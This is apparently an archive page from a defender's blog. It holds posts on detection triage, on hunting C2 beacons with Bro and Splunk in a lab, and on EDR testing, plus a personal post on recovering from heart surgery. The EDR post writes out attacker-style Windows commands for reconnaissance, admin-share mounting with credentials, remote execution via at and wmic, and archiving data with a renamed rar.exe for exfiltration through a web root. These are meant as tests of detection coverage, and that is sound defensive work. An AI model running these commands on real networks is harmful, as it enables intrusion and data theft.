Saturday, June 30, 2018

Methods of Detection

I talk a lot about how I may go about finding adversary behavior, but I have not spoken very much about how teams may be alerted.  This is a much needed conversation in my opinion.  As teams gain capability and visibility, their alert volumes will likely increase too.  The obvious example may be the team that implemented a threat feed and wants to incorporate a watchlist that is largely derived from this.  Sure, you will probably receive alerts from this and management will be happy that you are finally doing "Intel driven detection" ;) , but how will your analysts work these without the proper context as to why that indicator may be bad?

I believe there are 3 different forms of detection.  Using these correctly can:

1. Decrease analyst fatigue.
2. Decrease false positive rate.
3. Decrease alert volume.
3. Gain additional visibility.
4. Gain additional alerting capability.

Detections that are fed directly to an analyst as an alert. 
These detections are generally high fidelity and are well documented.  Available to the analyst are descriptions of what the intention of the detection rules are along with true positive and false positive examples. 

Detections that are used for correlation.

These detections are generally low fidelity.  They may happen often in our environments as normal activity, but when combining multiple detections and looking at order / timing, they may indicate malicious actions being taken by an attacker.  I also believe that all detections that go directly to analysts should go in this bucket as well.  You never know when looking at clusters of detections can change how an alert is categorized.

The downside of alerting from dynamically correlated events is that they may be more difficult to analyze.  You may often be looking for behaviors and those analysts with limited experience may miss key indicators that point to malicious behavior.  If tuned correctly the alert volume should be low so it may be possible to route all alerts derived from these to more senior analysts.

Detections written to increase visibility.

These detections are used to increase our ability to perform direct alerting as well as correlation.  An example may be that we want to know when a Windows command prompt is spawned across a smb session.  We can use an IDS such as snort to gain this visibility.  We can then feed that into our correlation bucket or directly to an analyst depending on fidelity.  This is just one example, think about other technologies your org has that would allow you to write rules and gain additional capability (HIPS, HIDS, Proxy, Sysmon..).

So now if we take our initial example of alerting directly off a newly purchased threat feed, we may see (based on alert volume and fidelity) that a better option could be to use these detections in the correlation bucket.  An example could then be Watchlist alert + Rare User-Agent + URI Volume.  Alone these detections may fire 1000's of times a day, but together they may mean a newly discovered compromise.

Thursday, March 29, 2018

C2 Hunting

For an adversary to be successful in your environment they will need a way to enter and leave your network.  This can obviously happen in many different ways.  One way may be an attacker utilizing 3rd party access, another possibly gaining access through an externally facing device, but more often than not, this is facilitated by a backdoor being placed on a machine within your network, or at least the initial stages are.  Going with this assumption, it then makes sense that we spend a large amount of time and effort trying to identify indications of backdoors.

So when you sit down and think about the problem, ask yourself, what does a backdoor look like.  What does it look like when it’s initially placed on the machine?  What does it look like when it starts?  What does it look like when it beacons?  What does it look like when it’s actively being used?  For this post I will be focusing on beacon behaviors, but  remember that there are many other opportunities to hunt for and identify these.

When we investigate IDS alerts that are related to C2 activity, what are some of the indications that we look for that may help tip the scale in saying that the alert is a true positive.  Or to put it another way, what are some of the things that may be common about C2?

  • User-Agent is rare
  • User-Agent is new
  • Domain is rare
  • Domain is new
  • High frequency of http connections
  • URI is same
  • URI varies but length is constant
  • Domain varies but length is constant
  • Missing referrer
  • Missing or same referrer to multiple uri’s on single dest.

All of the above will not be true about every beacon, but in a far majority of instances, more than one statement will be true.  If I look for multiples of the above, by source and destination pairs, I believe that I will have a higher chance of identifying malicious beacon traffic than by analyzing each individually.

Next we need to generate some traffic so that we can validate our theories.  If you are wondering about a list of backdoors that would be good to test, have a look at and the backdoors that have been used by the various actors that are tracked.  I also can’t emphasize enough the importance of having an environment that you can use for testing out theories.  Being able to perform and log the actions that you want to find can often lead to new ideas when you see the actual data that is generated.  You also need to know that your queries will really find what you are looking for.  For this testing I setup 3 vm’s which are listed below.

Machine 1 
  • Ubuntu 16.04
  • InetSim
  • Bro
  • Splunkforwarder

Machine 2
  • Ubuntu 16.04
  • Free Splunk

Machine 3
  • Windows 7
  • Default route and DNS is set to the IP address of Machine 1.

  • Obviously the malware will be executed on Machine 3.  For backdoors that communicate with a domain based C2, a DNS lookup will occur and the dns name will resolve to Machine 1.  For IP based C2, the traffic will follow the default route on Machine 3 and Machine 1 will respond (using an iptables redirect and nat rule).
  • InetSim will respond to the C2 communication.
  • Bro will log the http traffic and forward logs to the spunk server.
  • Scheduled queries will run within the Splunk environment to identify C2 behaviors that we define.
  • Results of queries will be logged to separate index within Splunk.
  • Scheduled search will run against this new index in an attempt to identify multiple behaviors on either a host or destination.

I used the file for this blog post from the link below.  It’s named Cobaltstrike.exe, but I don’t believe it’s a Cobaltstrike backdoor.  I believe it serves the purpose for this post though.  How can we go about finding unknown backdoors, or backdoors that we don’t have signatures for.

The result of executing this particular backdoor can be seen in the screenshot of correlated events below.  To get a better understanding of how this correlation occurred I'll go over the queries that got us here.

When an http based backdoor communicates, it will reach out to a URI.  The URI or the URI structure is typically coded into the backdoor.  If the backdoor beacons to multiple URI's on the same C2 host, these URI's are very often the same character length.  This query looks for source/destination pairs with greater than 6 connections to multiple UR's of which all are the same length.

Just as the URI or URI structure is often coded into a backdoor, a User-Agent string is as well.  These User-Agents are very often unique due to misspellings, version mismatches or simply random naming.  By stacking User-Agents you will find rare ones, but very often, after investigating these, they will wind up being legitimate traffic.  By combining rare UA's with additional C2 behavior you can quickly focus on the connections you should be looking at.  This query looks for less than 10 source hosts, all using a single UA, communicating to the same destination.

When you want to identify how a host wound up visiting a specific URL you would typically look at the referrer field.  Very often the referrer is left blank with C2 traffic or can be hardcoded with a single referrer for every beacon.  It can be odd to see the same referrer field to multiple URI's, all on the same destination host.  This query identifies a single referrer listed for multiple URI's on a single destination.

This query simply looks at volume of traffic between a source and a destination.  When combined with additional behaviors, this can be a good indicator of malicious traffic.

There are many additional signs of malicious beacon traffic.  By spending time identifying these behaviors and incorporating them into some type of detection workflow, your chances of spotting malicious over benign becomes much greater.  By applying this methodology you gain additional coverage over signature based detection or new capability where you currently don't have detection, but have the data (i.e. proxy logs). 

All questions and comments are welcome.  Feel free to reach out on twitter @jackcr.

Friday, January 12, 2018

What are your tools detecting

At some point during an intrusion, if the attacker has gained enough access, the need for malware will go away.  External access to the target network can be achieved through a vpn, 3rd party connection or simple misconfiguration on an external facing device.  Lateral movement, data consolidation and staging can all happen using builtin windows tools.  Data packaging can happen with builtin tools or public archiving utilities that are most likely used, legitimately, throughout your network by multiple users.  If an attacker has achieved this level of access, it is at this point you really need to ask yourself if the tools you have in place are capable of alerting you as to what may be happening.

From an EDR perspective, how much do you feel the vendor should be detecting and alerting?  What types of data do you feel an EDR solution should be collecting?  How important is the interface and the query language?  All of this is especially important if you don’t have the capability to author your own signatures or the interface is so poorly designed that it is not feasible to generate your own alerts based on limitations imposed by the vendor.

I put together some tests that you can use to verify the capabilities of your tools when it comes to recon, lateral movement and data staging.  I would be very curious to know what your outcomes are and if there are any obvious gaps in coverage across vendors.  I think it would be pretty enlightening to the entire community.

This is also not meant to put down the work that vendors are doing in this area.  It has come a long way, but I think often we get focused on finding “the malware” when that is only one aspect.

Note: Change the below scripts and commands to match your environment.

========== a.bat ===========
@echo off
ping -n 1>>c:\temp\a.txt
ping -n 1>>c:\temp\a.txt
ping -n 1>>c:\temp\a.txt
ping -n 1>>c:\temp\a.txt
ping -n 1>>c:\temp\a.txt
ping -n 1>>c:\temp\a.txt
ping -n 1>>c:\temp\a.txt
ping -n 1>>c:\temp\a.txt
ping -n 1>>c:\temp\a.txt
ping -n 1>>c:\temp\a.txt
ping -n 1>>c:\temp\a.txt
ping -n 1>>c:\temp\a.txt
ping -n 1>>c:\temp\a.txt
ping -n 1>>c:\temp\a.txt
ping -n 1>>c:\temp\a.txt
ping -n 1>>c:\temp\a.txt
ping -n 1>>c:\temp\a.txt
ping -n 1>>c:\temp\a.txt
ping -n 1>>c:\temp\a.txt
ping -n 1>>c:\temp\a.txt
ping -n 1>>c:\temp\a.txt
ping -n 1>>c:\temp\a.txt
ping -n 1>>c:\temp\a.txt
ping -n 1>>c:\temp\a.txt
ping -n 1>>c:\temp\a.txt
ping -n 1>>c:\temp\a.txt
=========== Execute a.bat ========
cmd /c a.bat
========== b.bat ===========
@echo off
net localgroup administrators >>c:\windows\system32\b.txt
quser >>c:\windows\system32\b.txt
netstat -nab -p tcp >>c:\windows\system32\b.txt
net start >>c:\windows\system32\b.txt
net session >>c:\windows\system32\b.txt
net share >>c:\windows\system32\b.txt
net use >>c:\windows\system32\b.txt
net view >>c:\windows\system32\b.txt
net view /domain >>c:\windows\system32\b.txt
net time /domain >>c:\windows\system32\b.txt
ipconfig /all >>c:\windows\system32\b.txt
route print >>c:\windows\system32\b.txt
systeminfo >>c:\windows\system32\b.txt
dsquery server >>c:\windows\system32\b.txt
dsquery subnet -limit 10000 >>c:\windows\system32\b.txt
net group "domain admins" /domain >>c:\windows\system32\b.txt
net group "enterprise admins" /domain >>c:\windows\system32\b.txt
======= Mount share and copy batch script ========
nbtstat -a x.x.x.x >>c:\temp\a.txt
net use \\x.x.x.x password user:domain/user
net use Z: \\x.x.x.x\c$ password /user:domain\user
copy C:\temp\*.bat Z:\windows\system32\
dir Z:\windows\system32\*.bat
====== Schedule at job, execute script, copy results back, delete share ========
net time \\x.x.x.x
at \\x.x.x.x
at \\x.x.x.x 4:01 "C:\windows\system32\b.bat"
net time /domain
dir Z:\windows\system32\b.txt
copy Z:\windows\system32\b.txt C:\temp\b.txt
at \\x.x.x.x 1 /delete /y
net use Z: /delete /y
========== abc.bat ===========
@echo off
c:\temp\cmd.exe a -hppassword c:\temp\abc.temp c:\data\for\exfil -x*.exe -x*.dll
 Note: cmd.exe is a renamed copy of rar.exe
=========== Create and move exfil =============
copy c:\temp\abc.bat \\x.x.x.x\c$\temp\abc.bat
copy c:\temp\cmd.exe \\x.x.x.x\c$\temp\cmd.exe
wmic /node:"x.x.x.x" /user:"domain\username" /password:"password" process call create "cmd.exe /c c:\temp\abc.bat"
copy \\x.x.x.x\c$\temp\abc.temp c:\temp\abc.temp
copy c:\temp\abc.temp \\x.x.x.x\c$\inetpub\wwwroot\website\abc.temp

Monday, January 1, 2018

My 2017

This will be kind of a different post for me in that I won’t be talking about DFIR or hunting.  As many of you know I’ve had kind of a challenging year both physically and mentally so I want to reflect on some of the things I’ve experienced, learned and overcame during the course of 2017.

In April of 2017 I was sitting at my desk, working, when I began having horrible pains in my chest, down the arteries in my neck as well as my arm.  I told my wife to call 911 because I thought I was having a heart attack.  When the EMT’s arrived my pain had already subsided, but they went ahead and took me to the hospital where I spent the next several hours waiting for tests to be ran and results to come back.  The end result was that they didn’t find any signs of a heart attack, but they admitted me so that they could perform additional tests.  The following day I had a stress test which also came back normal. With nothing to go on, the doctors sent me home without a definitive answer as to what had happened.  I should have probably pushed harder for an answer, but I think I was just relieved that they didn't find anything serious.

Over the next few days those same pains would come back.  I couldn’t associate them with any specific activity or food that I ate, they would just appear and literally put me on the floor a couple of times.  I refused to go back to the hospital for them to keep me overnight and eventually tell me that nothing was wrong, but agreed to my wife’s pleading that I call the cardiologist.  My cardiologist scheduled me for a heart catheterization, which I had a few days later.  The results of that test was a little more bleak, in that they had identified multiple blockages with no option for stents.  The pain was attributed to unstable angina and that I needed to have bypass surgery.  When I asked why the stress test didn’t find anything I was told that the test tries to identify anomalous blood flow in different portions of the heart.  All of the blood flow in my heart was abnormal, so it looked normal on the test.  Anomaly detection failed to find what it should have… that’s just crazy!!!

The following morning I was taken in for surgery, which lasted several hours.  I remember saying goodby to my wife and being wheeled into the operating room.  The next thing I remember was waking up the following day on a breathing machine (not a good feeling) with other tubes and wires going in and out of my chest and abdomen.  I eventually spent the next week in the hospital.  The first night that I was conscious I was scared to fall asleep because I didn’t think I was going to wake up.  I wound up staying awake that entire night.  Watching the machines that I was connected to.  Watching the nurses walk by.  Listening to the sounds of a hospital.  It was a long night and I thought a lot about my family.  I thought about how, given the chance, things would be different and vowed to make some changes in my life. 

Over the next few days I was able to become a little more active and even more so every day that went by.  When I was released from the hospital I was able to stand up from a chair and walk a few hundred feet on my own.  After I returned home, every day I kept pushing myself physically.  I would have my wife take me to the local shopping mall so I could walk.  I was a mall walker and probably the slowest one at that, but that was ok.  At least was able to get out and start to take control of the things that I was able to.  Other things that I needed to take control of were the main contributors to my situation.  Smoking, diet and weight.

I felt that if I continued to exercise I would only have to start eating better to get my weight under control.  Better diet to me meant cutting out sodium as much as possible and limiting saturated fat intake.  This was all a good start and definitely something that I needed to do, but I wasn’t losing the weight that I thought I should be.  I then began to count calories and really focus on portion control.  This is when the weight really started to come off, but it also had me feeling hungry all of the time.  I guess nobody ever said that it was going to be easy and I actually thought that quitting smoking was easier than changing and limiting my diet.  But as the pounds started to come off, my motivation to keep going grew stronger.  In the long run it was well worth the effort.

Healing seemed slow and very painful.  I needed help trying to sit up after laying down or trying to pick up anything with more than a few pounds of weight.  I knew that it would take time and that I would eventually get over it, but that feeling of being helpless was very frustrating.  There were also side effects of being on the heart lung machine that I don’t think I will every recover from.  One being my eyesight which has dramatically changed, another being my ability to concentrate over longer periods of time, and another being forgetfulness, but that’s ok because it’s much better than the alternative. 

It's been several months now since my surgery.  I’ve lost all of the weight that I needed to or feel like I should have.  I continue eating healthy which has the side effect of my family eating much healthier.  I spend an hour on cardio as well as lift weights 6 days a week.  I feel so much better than I have in a very very long time.  This journey has taught me so much about myself and the things that are truly important.  For me these things are:
  1. Myself
  2. My health
  3. My family
  4. My friends

I’ve also learned that It’s never too late to take control of those things that are holding you back or adversely affecting your life.  A little focus, persistence and patience can go a long way when you are trying to reach a goal!  

2017 is a year that I am glad is over. I do look forward to 2018 and the things that this year will bring (I just hope they are non life changing 😃)